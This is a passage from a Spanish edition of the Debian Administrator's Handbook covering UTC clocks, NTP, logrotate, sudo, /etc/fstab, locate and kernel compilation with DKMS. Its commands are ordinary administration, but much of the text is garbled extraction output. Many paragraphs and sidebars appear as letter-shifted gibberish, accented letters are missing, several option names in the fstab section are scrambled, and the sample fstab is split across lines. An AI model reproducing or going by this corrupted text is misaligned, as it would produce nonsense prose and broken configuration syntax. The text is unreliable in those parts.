SFBMJ[BS TPCSF TV JOUFSQSFUBDJO P CJFO FM TJTUFNB DPOTJEFSB RVF FTU FO UJFNQP
VOJWFSTBM 65$ BOUFSJPSNFOUF (.5
P FO IPSBSJP MPDBM &TUB FMFDDJO QPESB
TFS VO DBNCJP TJNQMF QFSP MBT DPTBT TPO FO SFBMJEBE VO QPDP NT DPNQMJDBEBT
DPNP SFTVMUBEP EFM IPSBSJP EF WFSBOP FM EFTGBTBKF QVFEF OP TFS DPOTUBOUF &M
SFTVMUBEP FT RVF FM TJTUFNB OP UJFOF GPSNB EF TBCFS TJ TUF FT DPSSFDUP FTQF
DJBMNFOUF BMSFEFEPS EF QFSPEPT EF DBNCJPT EF IPSB %FCJEP B RVF TJFNQSF
FT QPTJCMF SFDPOTUSVJS MB IPSB MPDBM EFTEF UJFNQP VOJWFSTBM Z MB JOGPSNBDJO
EF [POB IPSBSJB SFDPNFOEBNPT GVFSUFNFOUF VUJMJ[BS FM SFMPK $.04 FO UJFNQP
VOJWFSTBM
%FTBGPSUVOBEBNFOUF MPT TJTUFNBT 8JOEPXT FO TV DPOGJHVSBDJO QSFEFUFSNJ
OBEB JHOPSBO FTUB SFDPNFOEBDJO NBOUJFOFO FM SFMPK $.04 FO UJFNQP MPDBM
BQMJDBOEP DBNCJPT BM JOJDJBS FM FRVJQP JOUFOUBOEP BEJWJOBS EVSBOUF MPT UJFNQPT
EF DBNCJP TJ FM DBNCJP ZB GVF BQMJDBEP P OP &TUP GVODJPOB SFMBUJWBNFOUF CJFO
TJFNQSF Z DVBOEP FM TJTUFNB TMP FKFDVUF 8JOEPXT 1FSP DVBOEP VO FRVJQP
UJFOF WBSJPT TJTUFNBT ZB TFB VOB DPOGJHVSBDJO EF kJOJDJP EVBM{ P MB FKFDV
DJO EF MPT NJTNPT FO NRVJOBT WJSUVBMFT
TF EFTBUB FM DBPT TJFOEP JNQPTJCMF
EFUFSNJOBS MB IPSB DPSSFDUB 4J EFCF NBOUFOFS PCMJHBUPSJBNFOUF 8JOEPXT FO
VO FRVJQP P CJFO EFCFSB DPOGJHVSBSMP QBSB NBOUFOFS FM SFMPK $.04 FO 65$
EFGJOJFOEP MB DMBWF EF SFHJTUSP %803% HKLM\SYSTEM\CurrentControlSet\
Control\TimeZoneInformation\RealTimeIsUniversal DPNP k{
P FKFDVUBS
hwclock --localtime --set QBSB NPEJGJDBS MB IPSB EFM SFMPK FO IBSEXBSF F
JOEJDBSMF RVF TF FODVFOUSB FO IPSB MPDBM EFCFS BTFHVSBSTF EF SFWJTBS NBO
VBMNFOUF TV SFMPK FO QSJNBWFSB Z PUPP


 4JODSPOJ[BDJO EF UJFNQP


La sincronizacin de tiempo, que puede parecer superfluo en un equipo, es muy importante en
una red. Debido a que los usuarios no tienen permisos para modificar la fecha y hora es importante que esta informacin sea precisa para evitar confusin. Lo que es ms, tener sincronizados
todos los equipos de una red permite cruzar referencias de informacin en registros de diferentes mquinas. Por lo tanto, en caso de un ataque, es ms sencillo reconstruir la secuencia
cronolgica de acciones en todos los equipos involucrados en el mismo. Los datos recolectados
en varios equipos por motivos estadsticos no tendrn demasiado sentido si no estn sincronizados.
70-7&3 " -04
$*.*&/504
/51


&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

/51 QSPUPDPMP EF UJFNQP EF SFE k/FUXPSL 5JNF 1SPUPDPM{


MF QFSNJUF B VOB
NRVJOB TJODSPOJ[BSTF DPO PUSBT NVZ QSFDJTBNFOUF UFOJFOEP FO DVFOUB MBT

EFNPSBT JOEVDJEBT QPS MB USBOTGFSFODJB EF JOGPSNBDJO TPCSF MB SFE Z PUSBT


EFTWJBDJPOFT QPTJCMFT
4J CJFO IBZ OVNFSPTPT TFSWJEPSFT /51 FO *OUFSOFU MPT NT QPQVMBSFT UJFOEFO
B FTUBS TPCSFDBSHBEPT &T QPS FTP RVF SFDPNFOEBNPT VUJMJ[BS FM TFSWJEPS /51
QPPMOUQPSH RVF FT FO SFBMJEBE VO HSVQP EF NRVJOBT RVF BDPSEBSPO TFSWJS
DPNP TFSWJEPSFT /51 QCMJDPT *ODMVTJWF QVFEF MJNJUBS FM VTP B VO TVCHSVQP
FTQFDGJDP EF VO QBT DPO QPS FKFNQMP VTQPPMOUQPSH QBSB &TUBEPT 6OJEPT P
DBQPPMOUQPSH QBSB $BOBE FUD
4JO FNCBSHP TJ BENJOJTUSB VOB SFE HSBOEF TF SFDPNJFOEB RVF JOTUBMF TV QSP
QJP TFSWJEPS /51 RVF TJODSPOJ[B DPO TFSWJEPSFT QCMJDPT &O FTUF DBTP UPEPT
MPT PUSPT FRVJQPT FO TV SFE QVFEFO VUJMJ[BS TV TFSWJEPS /51 JOUFSOP FO MVHBS
EF BVNFOUBS MB DBSHB FO MPT TFSWJEPSFT QCMJDPT 5BNCJO BVNFOUBS MB IPNP
HFOFJEBE EF TVT SFMPKFT ZB RVF UPEPT MPT FRVJQPT FTUBSO TJODSPOJ[BEPT EFTEF
MB NJTNB GVFOUF Z FTUB GVFOUF TF FODVFOUSB NVZ DFSDB FO DVFTUJPOFT EF UJFN
QPT EF USBOGFSFODJB FO MB SFE

1BSB FTUBDJPOFT EF USBCBKP


Debido a que las estaciones de trabajo son reiniciadas frecuentemente (aunque slo sea para
ahorrar energa), sincronizarlas por NTP al inicio es suficiente. Para hacerlo, simplemente
instale el paquete ntpdate. Puede cambiar el servidor NTP utilizado modificando el archivo
/etc/default/ntpdate.

1BSB TFSWJEPSFT
Los servidores rara vez son reiniciados y es muy importante que la hora de estos sistemas sea
correcta. Para mantener la hora correcta debe instalar un servidor NTP local, un servicio ofrecido en el paquete ntp. En su configuracin predeterminada el servidor se sincronizar con
pool.ntp.org y proveer la hora como respuesta a pedidos que provengan de la red local. Puede
configurarlo editando el archivo /etc/ntp.conf, siendo la alteracin ms importante el servidor NTP al que se refiere. Si la red tiene muchos servidores podra ser interesante tener un
servidor de tiempo local que sincroniza con los servidores pblicos y es utilizado como fuente
de tiempo por los dems servidores de la red.
:&/%0 .4 "--
.EVMPT (14 Z PUSBT GVFOUFT
EF UJFNQP

4J MB TJODSPOJ[BDJO EF UJFNQP FT QBSUJDVMBSNFOUF DSVDJBM FO TV SFE FT QPTJCMF


FRVJQBS VO TFSWJEPS DPO VO NEVMP (14 RVF VUJMJ[BS MB IPSB EF TBUMJUFT (14

P VO NEVMP %$' RVF TJODSPOJ[BS MB IPSB DPO FM SFMPK BUNJDP DFSDB EF


'SBOLGVSU "MFNBOJB
 FO FTUF DBTP MB DPOGJHVSBDJO EFM TFSWJEPS /51 FT VO
QPDP NT DPNQMJDBEB Z OFDFTJUBS DPOTVMUBS MB EPDVNFOUBDJO

 3PUBDJO EF BSDIJWPT EF SFHJTUSP


Los archivos de registro pueden crecer, rpido, y es necesario archivarlos. El esquema ms
comn es un archivado rotativo: el archivo de registro es almacenado regularmente y slo se

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



mantienen los ltimos X archivos. logrotate, el programa responsable de estas rotaciones, responde a las directivas presentes en el archivo /etc/logrotate y todos los archivos en el directorio /etc/logrotate.d/. El administrador puede modificar estos archivos si desean adaptar
la poltica de rotacin de registros definida por Debian. La pgina de manual logrotate(1) describe todas las opciones disponibles en estos archivos de configuracin. Podra desear aumentar la cantidad de archivos mantenidos en la rotacin o mover los archivos de registros a un
directorio especfico dedicado a su archivado en lugar de eliminarlos. Tambin puede enviarlo
por email para archivarlos en otro lado.
El programa logrotate es ejecutado diariamente por la aplicacin cron (descripta en la Seccin
9.7, Programacin de tareas con cron y atd pgina 210).

 $PNQBSUJDJO EF QFSNJTPT EF BENJOJTUSBDJO


Frecuentemente, muchos administradores trabajan en la misma red. Compartir contraseas de
root no es muy elegante y abre la puerta al abuso debido al anonimato generado. La solucin
a este problema es el programa sudo que permite a ciertos usuarios ejecutar ciertas rdenes
con permisos especiales. En el caso de uso ms comn, sudo permite a un usuario confiable
ejecutar cualquier orden como root. Para hacerlo, el usuario simplemente ejecuta sudo progr
ama y provee su contrasea personal como autenticacin.
Al instarlarlo, el paquete sudo le provee permisos de root completos a los miembros del grupo
Unix TVEP. Para delegar otros permisos el administrador debe utilizar el programa visudo que
le permitir modificar el archivo de configuracin /etc/sudoers (aqu nuevamente se invocar
el editor vi o cualquier editor indicado en la variable de entorno EDITOR). Agregar una lnea con
VTVBSJP "-- "--
"-- permite al usuario en cuestin ejecutar cualquier programa como root.
Configuraciones ms sofisticadas permiten autorizar slo rdenes especficas a usuarios especficos. La pgina de manual sudoers(5) provee todos los detalles de las varias posibilidades.

 -JTUB EF QVOUPT EF NPOUBKF


70-7&3 " -04
$*.*&/504
.POUBEP Z EFTNPOUBEP

&O VO TJTUFNB TJNJMBS B 6OJY DPNP %FCJBO MPT BSDIJWPT FTUO PSHBOJ[BEPT FO
TMP VOB KFSBSRVB EF EJSFDUPSJPT TJNJMBS B VO SCPM &M EJSFDUPSJP / TF MMBNB
kEJSFDUPSJP SB[{ UPEPT MPT EJSFDUPSJPT BEJDJPOBMFT TPO TVCEJSFDUPSJPT FO FTUB
SB[ k.POUBS{ FT MB BDDJO EF JODMVJS FM DPOUFOJEP EF VO EJTQPTJUJWP QFSJGSJDP
HFOFSBMNFOUF VO EJTDP EVSP
FO FM SCPM EF BSDIJWPT HFOFSBM EFM TJTUFNB $P
NP DPOTFDVFODJB TJ VUJMJ[B EJTDPT EVSPT EJGFSFOUFT QBSB BMNBDFOBS MPT EBUPT
QFSTPOBMFT EF MPT VTVBSJPT FTUPT EJTDPT UFOESO RVF kNPOUBSTF{ FO FM EJSFDUP
SJP /home/ &M TJTUFNB EF BSDIJWPT SB[ TJFNQSF FT NPOUBEP EVSBOUF FM BSSBORVF
QPS FM ODMFP MPT EFNT EJTQPTJUJWPT HFOFSBMNFOUF TPO NPOUBEPT EVSBOUF MB
TFDVFODJB EF JOJDJP P NBOVBMNFOUF DPO FM QSPHSBNB mount
"MHVOPT EJTQPTJUJWPT SFNPWJCMFT TPO NPOUBEPT BVUPNUJDBNFOUF BM DPOFD
UBSTF FTQFDJBMNFOUF DVBOEP VUJMJ[B (/0.& ,%& V PUSP FOUPSOP HSGJDP EF
FTDSJUPSJP &M VTVBSJP UFOES RVF NPOUBS NBOVBMNFOUF PUSPT EJTQPTJUJWPT %F MB
NJTNB GPSNB EFCFS EFTNPOUBSMPT RVJUBSMPT EFM SCPM EF BSDIJWPT
 6TVBSJPT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

OPSNBMFT HFOFSBMNFOUF OP UJFOFO MPT QFSNJTPT QBSB FKFDVUBS mount Z umount


&M BENJOJTUSBEPS QVFEF TJO FNCBSHP BVUPSJ[BS FTUBT PQFSBDJPOFT JOEFQFO
EJFOUFNFOUF QBSB DBEB QVOUP EF NPOUBKF
JODMVZFOEP MB PQDJO user FO FM
BSDIJWP /etc/fstab
1VFEF VUJMJ[BS FM QSPHSBNB mount TJO QBSNFUSPT FOVNFSBS UPEPT MPT TJT
UFNBT EF BSDIJWPT NPOUBEPT
 4J EFTFB NPOUBS P EFTNPOUBS VO EJTQPTJUJWP
OFDFTJUBS BBEJSMF BMHVOPT QBSNFUSPT 1BSB MB MJTUB DPNQMFUB SFWJTF MBT TJHV
JFOUFT QHJOBT EF NBOVBM mount(8) Z umount(8) 1BSB DBTPT TJNQMFT MB TJO
UBYJT UBNCJO FT TJNQMF QPS FKFNQMP QBSB NPOUBS MB QBSUJDJO /dev/sdc1 RVF
UJFOF VO TJTUFNB EF BSDIJWPT FYU FO FM EJSFDUPSJP /mnt/tmp/ FKFDVUF mount t ext3 /dev/sdc1 /mnt/tmp/

El archivo /etc/fstab tiene una lista de todos los montajes posibles que pueden ocurrir automticamente durante el inicio o manualmente para dispositivos de almacenamiento removibles. Se describe cada punto de montaje en una lnea con varios campos separados por espacios:
dispositivo a montar: puede ser una particin local (disco duro, CD-ROM) o sistema de
archivos remoto (como NFS).
Generalmente se reemplaza este campo con el ID nico del sistema de archivos (que puede
encontrar con blkid dispositivo) con el prefijo 66*%. Esto previene problemas con
cambios en el nombre del dispositivo en caso de agregar o eliminar discos o si se detectan
los discos en un orden diferente.
punto de montaje: esta es la ubicacin del sistema de archivos local donde se montar el
dispositivo, sistema remoto o particin.
tipo: este campo define el sistema de archivos utilizado en el dispositivo montado. Algunos
ejemplos son FYU, FYU, WGBU, OUGT, CUSGT y YGT.
70-7&3 " -04
$*.*&/504
/'4 VO TJTUFNB EF BSDIJWPT
EF SFE

/'4 FT VO TJTUFNB EF BSDIJWPT EF SFE FO -JOVY QFSNJUF BDDFTP USBOT


QBSFOUF B TJTUFNBT EF BSDIJWPT SFNPUPT JODMVZOEPMPT FO FM TJTUFNB EF
BSDIJWPT MPDBM

Puede encontrar una lista de todos los sistemas de archivos conocidos en la pgina de
manual mount(8). El valor especial TXBQ es para particiones swap; el valor especial BV
UP le dice al programa mount que detecte automticamente el sistema de archivos (que
es especialmente til para lectores de discos y llaves USB ya que cada una puede tener
diferentes sistemas de archivos);
opciones: hay muchas, dependiendo del sistema de archivos, y estn documentadas en la
pgina de manual de mount. Las ms comunes son
SX o SP que significan que se montar el dispositivo con permisos de lectura y escritura o slo lectura, respectivamente.
OPBVUP desactiva el montaje automtico durante el arranque.
VTFS autoriza a todos los usuarios a montar este sistema de archivos (una operacin
que de otra forma estara restringida slo al usuario root).

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



EFGBVMUT es un sinnimo de la lista de opciones predeterminada: SX, TVJE, EFW, FYFD,


BVUP, OPVTFS y BTZOD, cada una de las cuales puede ser desactivada luego de EFGB
VMUT agregando OPTVJE, OPEFW, etc. para bloquear TVJE, EFW, etc. respectivamente.
Agregar la opcin VTFS lo reactiva ya que EFGBVMUT incluye OPVTFS.
respaldo: este campo casi siempre est definido como . Cuando es  le dice a la herramienta dump que la particin contiene datos que deben ser respaldados.
orden de revisin: este ltimo campo indica si se debe revisar la integridad del sistema
de archivos durante el inicio y en qu orden debe ejecutarse esta revisin. Si es  no se
realizarn revisiones. El sistema de archivos raz debera tener el valor  mientras que
otros sistemas de archivos permanentes deberan tener el valor .
&KFNQMP 

&KFNQMP EFM BSDIJWP /etc/fstab

# /etc/fstab: informacin de sistemas de archivos estticos


#
# <sistema de archivos> <punto de montaje>
<tipo> <opciones>
<respaldo>
revisin>
proc
/proc
proc
defaults
0
0
# / era /dev/sda1 durante la instalacin
UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1
# swap se encontraba en /dev/sda5 durante la instalacin
UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0
0
/dev/scd0
/media/cdrom0
udf,iso9660 user,noauto 0
0
/dev/fd0
/media/floppy
auto
rw,user,noauto 0
0
arrakis:/shared /shared
nfs
defaults
0
0

<

El ltimo elemento en este ejemplo corresponde a un sistema de archivos de red (NFS): se montar el directorio /shared/ en el servidor arrakis en /shared/ en la mquina local. El formato
del archivo /etc/fstab est documentado en la pgina de manual fstab(5).
:&/%0 .4 "--
"VUPNPOUBKF

&M QBRVFUF BNVUJMT QSPWFF MB IFSSBNJFOUB EF BVUPNPOUBKF amd DBQB[ EF NPO


UBS NFEJPT SFNPWJCMFT B QFEJEP DVBOEP VO VTVBSJP JOUFOUB BDDFEFS TV QVOUP
EF NPOUBKF VTVBM %FTNPOUBS FTUPT EJTQPTJUJWPT DVBOEP OJOHO QSPDFTP MPT
FTU BDDFEJFOEP
&YJTUFO PUSBT IFSSBNJFOUBT EF BVUPNPOUBKF DPNP
BVUPGT

automount

FO FM QBRVFUF

4FQB RVF (/0.& ,%& Z PUSPT FOUPSOPT HSGJDPT EF FTDSJUPSJP USBCBKBO KVOUP
DPO VEJTL Z QVFEFO NPOUBS BVUPNUJDBNFOUF NFEJPT SFNPWJCMFT DVBOEP TPO
DPOFDUBEPT

 locate Z updatedb


El programa locate puede encontrar la ubicacin de un archivo cuando slo conozca parte
del nombre. Devuelve un resultado casi instantneamente ya que consulta una base de datos



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

que almacena la ubicacin de todos los archivos del sistema; se actualiza esta base de datos
diariamente con updatedb. Existen varias implementaciones de locate y Debian eligi mlocate
para su sistema estndar.
mlocate es suficientemente inteligente y slo devolver archivos a los que el usuario que lo eje-

cut puede acceder a pesar de que utiliza una base de datos que conoce sobre todos los archivos
en el sistema (ya que su implementacin de updatedb ejecuta con permisos de root). El administrador puede utilizar PRUNEDPATHS en /etc/updatedb.conf para excluir la indexacin de
algunos directorios y lograr seguridad adicional.

 $PNQJMBDJO EF VO ODMFP


El ncleo que provee Debian incluye la mayor cantidad de funcionalidad posible as como tambin la mayor cantidad de controladores para cubrir el espectro ms amplio de configuraciones
de hardware. Es por esto que algunos usuarios prefieren compilar el ncleo para incluir slamente lo que necesiten especficamente. Hay dos razones para esta eleccin. Primero, podra
optimizar el consumo de memoria ya que el cdigo del ncleo, an cuando no sea utilizado,
ocupa memoria por nada (y nunca es bajado al espacio de swap ya que utiliza RAM real) lo
que puede disminuir el rendimiento general del sistema. Un ncleo compilado localmente tambin puede limitar el riesgo de problemas de seguridad ya que slo se compila y ejecuta una
fraccin del cdigo del ncleo.
/05"
"DUVBMJ[BDJPOFT EF TFHVSJEBE

4J EFDJEF DPNQJMBS TV QSPQJP ODMFP EFCF BDFQUBS MBT DPOTFDVFODJBT %FCJBO


OP QVFEF BTFHVSBS BDUVBMJ[BDJPOFT EF TFHVSJEBE QBSB TV ODMFP QFSTPOBMJ[BEP
"M NBUFOFS FM ODMFP RVF QSPWFF %FCJBO TF CFOFGJDJB EF MBT BDUVBMJ[BDJPOFT
QSFQBSBEBT QPS FM FRVJQP EF TFHVSJEBE EFM 1SPZFDUP %FCJBO

Necesita adems recompilar el ncleo si desea utilizar ciertas funcionalidades que slo estn
disponibles como parches (y no estn incluidas en la versin estndar del ncleo).
:&/%0 .4 "--
&M MJCSP EFM ODMFP EF %FCJBO
k%FCJBO ,FSOFM )BOECPPL{

&M FRVJQP EFM ODMFP EF %FCJBO BENJOJTUSB FM k-JCSP EFM ODMFP EF %FCJBO{
k%FCJBO ,FSOFM )BOECPPL{ EJTQPOJCMF UBNCJO FO FM QBRVFUF EFCJBOLFSOFM
IBOECPPL
RVF DPOUJFOF EPDVNFOUBDJO FYIBVTUJWB TPCSF MB NBZPSB EF MBT
UBSFBT SFMBDJPOBEBT DPO FM ODMFP Z DNP TF HFTUJPOBO MPT QBRVFUFT %FCJBO
PGJDJBMFT EFM ODMFP &TUF FT FM QSJNFS MVHBS FO FM RVF EFCFSB CVTDBS TJ OFDFTJUB
NT JOGPSNBDJO RVF MB RVF QSPWFF FTUB TFDDJO
http://kernel-handbook.alioth.debian.org

 *OUSPEVDDJO Z QSFSFRVJTJUPT


No es sorprendete que Debian administre el ncleo como un paquete, que no es la forma tradicional en la que se compilan e instalan ncleos. Debido a que el ncleo se mantiene bajo el control
del sistema de paquetes puede ser eliminado limpiamente o desplegado en varias mquinas. Lo

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



que es ms, los scripts asociados con estos paquetes automatizan la interaccin con el gestor de
arranque y el generador de initrd.
Las fuenes de Linux en origen contienen todo lo necesario para crear el paquete Debian del ncleo. Sin embargo, necesitar instalar build-essential para asegurarse que posee las herramientas
necesarias para crear un paquete Debian. Lo que es ms, el paso de configuracin para el ncleo
necesita el paquete libncurses5-dev. Finalmente, el paquete fakeroot le permitir crear el paquete
Debian sin utilizar permisos de administrador.
$6-563"
-PT EBT EF LFSOFMQBDLBHF

"OUFT RVF FM TJTUFNB EF DPNQJMBDJO EF -JOVY UVWJFSB MB DBQBDJEBE EF DSFBS


QBRVFUFT %FCJBO BQSPQJBEPT MB GPSNB SFDPNFOEBEB EF DSFBS EJDIPT QBRVFUFT
FSB VUJMJ[BS make-kpkg JODMVEP FO FM QBRVFUF LFSOFMQBDLBHF

 0CUFODJO EF MBT GVFOUFT


Como cualquier cosa que pueda ser til en un sistema Debian, las fuentes del ncleo Linux estn
disponibles en un paquete. Para obtenerlas simplemente instale el paquete linux-source-versin.
Puede ver las diferentes versiones del ncleo empaquetados por Debian con apt-cache search
linux-source. La ltima versin est disponible en la distribucin Unstable: puede conseguirlas sin demasiado riesgo (especialmente si tiene configurado APT segn las instrucciones de
la Seccin 6.2.6, Trabajo con varias distribuciones pgina 119). Sepa que el cdigo fuente que
contienen estos paquetes no corresponde exactamente con lo publicado por Linus Torvalds y los
desarrolladores del ncleo; como todas las distribuciones, Debian aplica una serie de parches,
que pueden (o no) ser includas en la versin de origen de Linux. Estas modificaciones incluyen
retroadaptaciones de correcciones/funcionalidades/controladores de nuevas versiones del ncleo, funcionalidades que no estn (completamente) includas en el rbol de origen de Linux e
inclusive a veces cambios especficos para Debian.
El resto de esta seccin se concentra en la versin 3.2 del ncleo Linux pero los ejemplos pueden,
obviamente, adaptarse a la versin particular del ncleo que desee.
Asumimos que instal el paquete linux-source-3.2. Contiene /usr/src/linux-source-3.2.tar.
bz2, un compendio comprimido de las fuentes del ncleo. Debe extraer estos archivos en un
nuevo directorio (no directamente bajo /usr/src/ ya que no necesita permisos especiales para
compilar un ncleo Linux): ~/kernel/ es apropiado.
$ mkdir ~/kernel; cd ~/kernel
$ tar -xjf /usr/src/linux-source-3.2.tar.bz2

$6-563"
6CJDBDJO EF MBT GVFOUFT EFM
ODMFP



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

5SBEJDJPOBMNFOUF MBT GVFOUFT EFM ODMFP -JOVY FTUBSBO VCJDBEBT FO /usr/src/


linux/ MP RVF OFDFTJUBSB QFSNJTPT EF SPPU QBSB DPNQJMBSMP 4JO FNCBSHP TF
EFCF FWJUBS USBCBKBS DPO QFSNJTPT EF BENJOJTUSBDJO DVBOEP OP FT OFDFTBSJP
&YJTUF VO HSVQP src RVF QFSNJUF B TVT NJFNCSPT USBCBKBS FO FTUF EJSFDUP
SJP QFSP EFCF FWJUBS USBCBKBS FO /usr/src/ EF UPEBT GPSNBT "M NBOUFOFS MBT
GVFOUFT EFM ODMFP FO VO EJSFDUPSJP QFSTPOBM PCUJFOF TFHVSJEBE FO UPEPT MBEPT
OP FYJTUJSO BSDIJWPT FO /usr/ BKFOPT BM TJTUFNB EF QBRVFUFT Z OP IBZ SJFTHPT

EF EFTQJTUBS B MPT QSPHSBNBT RVF MFFO /usr/src/linux BM JOUFOUBS DPOTFHVJS


JOGPSNBDJO TPCSF FM ODMFP VUJMJ[BEP

 $POGJHVSBDJO EFM ODMFP


El siguiente paso consiste en configurar el ncleo segn sus necesidades. El procedimiento exacto depende de los objetivos.
Al recompilar una versin ms reciente del ncleo (posiblemente con un parche adicional),
probablemente mantenga la configuracin tan parecida a la propuesta por Debian como le sea
posible. En este caso, y en lugar de reconfigurar todo desde cero, es suficiente copiar el archivo
/boot/config- versin (la versin es la del ncleo utilizado actualmente, que puede encontrarse con uname -r) en un archivo .config en el directorio que contenga las fuentes del ncleo.
$ cp /boot/config-3.2.0-4-amd64 ~/kernel/linux-source-3.2/.config

A menos que necesite cambiar la configuracin, puede parar aqu y continuar en la prxima
seccin. Si, por el otro lado, necesita cambiarla o si decide reconfigurar todo desde cero, debe
tomarse el tiempo de configurar su ncleo. Hay varias interfaces dedicadas en el directorio de
fuentes del ncleo que puede utilizar ejecutando make objetivo donde objetivo es uno de los
valores descriptos a continuacin.
compila y ejecuta una interfaz en modo texto (aqu es donde necesita el
paquete libncurses5-dev) que permite navegar entre las opciones disponibles en una estructura
jerrquica. Pulsar la tecla Espacio cambia el valor de la opcin seleccionada y Enter valida el
botn seleccionado al pie de la pantalla; Seleccionar vuelve al submen seleccionado; Salir cierra la pantalla actual y vuelve un paso atrs en la jerarqua; Ayuda mostrar informacin ms
detallada sobre el comportamiento de la opcin seleccionada. Las teclas de flecha le permiten
moverse en la lista de opciones y botones. Para salir del programa de configuracin, seleccione
Salir del men principal. El programa luego ofrece guardar los cambios que realiz; acptelos si
est satisfecho con sus selecciones.
make menuconfig

Otras interfaces tienen funcionalidades similares pero trabajan con interfaces grficas ms modernas; como make xconfig que utiliza una interfaz grfica Qt y make gconfig que utiliza
GTK+. La primera necesita el paquete libqt4-dev mientras que la ltima depende de los paquetes libglade2-dev y libgtk2.0-dev.
Cuando utiliza una de las interfaces de configuracin, siempre es buena idea comenzar desde una configuracin predeterminada razonable. El ncleo provee tales configuraciones en
arch/arquitectura/configs/*_defconfig y puede mover la configuracin que desee si ejecuta algo similar a make x86_64_defconfig (en el caso de un equipo de 64 bits) o make
i386_defconfig (en el caso de un equipo de 32 bits).

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



4&(63*%"%
(FTUJO EF BSDIJWPT .config
EFTBDUVBMJ[BEPT

$VBOEP QSPWFF VO BSDIJWP .config RVF GVF HFOFSBEP DPO PUSB WFSTJO EFM
ODMFP HFOFSBMNFOUF BOUFSJPS
UFOES RVF BDUVBMJ[BSMP 1VFEF IBDFSMP FKF
DVUBOEP make oldconfig RVF MF QSFHVOUBS JOUFSBDUJWBNFOUF MBT QSFHVOUBT
RVF DPSSFTQPOEFO B MBT OVFWBT PQDJPOFT EF DPOGJHVSBDJO 4J EFTFB VUJMJ[BS
VOB SFTQVFTUB QSFEFUFSNJOBEB B UPEBT FTUBT QSFHVOUBT QVFEF FKFDVUBS make
olddefconfig $PO make oldnoconfig TF BTVNJS VOB SFTQVFTUB OFHBUJWB B
UPEBT MBT QSFHVOUBT

 $PNQJMBDJO Z DSFBDJO EFM QBRVFUF

/05"
-JNQJF[B BOUFT EF SFDPNQJMBS

4J ZB SFBMJ[ VOB DPNQJMBDJO FO FM EJSFDUPSJP Z EFTFB SFDPOTUSVJS UPEP EFT


EF DFSP QPS FKFNQMP QPSRVF SFBMJ[ DBNCJPT JNQPSUBOUFT B MB DPOGJHVSBDJO
EFM ODMFP
UFOES RVF FKFDVUBS make clean QBSB FMJNJOBS MPT BSDIJWPT DPN
QJMBEPT make distclean FMJNJOB UPEBWB NT BSDIJWPT HFOFSBEPT JODMVZFO
EP UBNCJO TV BSDIJWP .config QPS MP RVF EFCFS BTFHVSBSTF EF SFTQBMEBSMP
QSJNFSP

Una vez que est lista la configuracin del ncleo, simplemente ejecutar make deb-pkg generar
hasta 5 paquetes Debian: linux-image-versin que contiene la imagen del ncleo y los mdulos
asociados, linux-headers-versin que contiene los archivos de cabecera necesarios para crear mdulos externos, linux-firmware-image-versin que contiene los archivos de firmware necesarios
para algunos controladores, linux-image-versin-dbg que contiene los smbolos de depuracin
para la imagen del ncleo y sus mdulos y linux-libc-dev que contiene las cabeceras relevantes a
algunas bibliotecas de espacio de usuario como glibc de GNU.
La cadena versin es la concatenacin de la versin de origen (definida por las variables 7&34*0/, 1"5$)-&7&-, 46#-&7&- y &953"7&34*0/ en el archivo Makefile), el
parmetro de configuracin -0$"-7&34*0/ y la variable de entorno -0$"-7&34*0/. La
versin del paquete reutiliza la misma cadena de versin con una revisin adicional que generalmente aumenta (y es almacenada en .version), excepto si lo previene con la variable de
entorno ,%&#@1,(7&34*0/.
$ make deb-pkg LOCALVERSION=-falcot KDEB_PKGVERSION=1
[...]
$ ls ../*.deb
../linux-firmware-image-3.2.46-falcot_1_amd64.deb
../linux-headers-3.2.46-falcot_1_amd64.deb
../linux-image-3.2.46-falcot_1_amd64.deb
../linux-image-3.2.46-falcot-dbg_1_amd64.deb
../linux-libc-dev_1_amd64.deb



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 $PNQJMBDJO EF NEVMPT FYUFSOPT


Se mantienen algunos mdulos fuera del ncleo Linux oficial. Para utilizarlos debe compilarlos junto al ncleo correspondiente. Debian provee algunos mdulos de terceros comunes en
paquetes dedicados, como virtualbox-source (compatibilidad del ncleo para la solucin de virtualizacin VirtualBox) o oss4-source (Open Sound System, algunos controladores de audio
alternativos).
Estos paquetes externos son muchos y variados y no los enumeraremos todos aqu; puede limitar
el campo de bsqueda con apt-cache search source$. Sin embargo, una lista completa no es
muy til ya que no hay una razn particular para compilar mdulos externos a menos que sepa
que los necesita. En estos casos, la documentacin del dispositivo tpicamente detallar el o los
mdulos especficos que necesita para funcionar bajo Linux.
Veamos, por ejemplo, el paquete virtualbox-source: luego de instalarlo podr encontrar un compendio .tar.bz2 de las fuentes del mdulo en /usr/src/. Si bien podramos extraer manualmente el archivo y compilar el mdulo, en la prctica preferimos automatizarlo con DKMS. La
mayora de los mdulos ofrecen la integracin necesaria con DKMS en un paquete que finaliza con el sufijo ELNT. En nuestro caso, slo necesitamos instalar el paquete virtualbox-dkms
para compilar el mdulo del ncleo para el ncleo actual siempre que est instalado el paquete
linux-headers-* que coincide con el ncleo instalado. Por ejemplo, si utiliza linux-images-amd64
instalar tambin linux-headers-amd64.
$ sudo apt-get install virtualbox-dkms
[...]
Loading new virtualbox-4.1.18 DKMS files...
First Installation: checking all kernels...
Building only for 3.2.0-4-amd64
Building initial module for 3.2.0-4-amd64
Done.
vboxdrv:
Running module version sanity check.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/3.2.0-4-amd64/updates/dkms/
[...]
DKMS: install completed.
$ sudo dkms status
virtualbox, 4.1.18, 3.2.0-4-amd64, x86_64: installed
virtualbox-guest, 4.1.18, 3.2.0-4-amd64, x86_64: installed
$ sudo modinfo vboxdrv
filename:
/lib/modules/3.2.0-4-amd64/updates/dkms/vboxdrv.ko
version:
4.1.18_Debian (0x00190000)
license:
GPL
description:
Oracle VM VirtualBox Support Driver

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



[...]

"-5&3/"5*7"
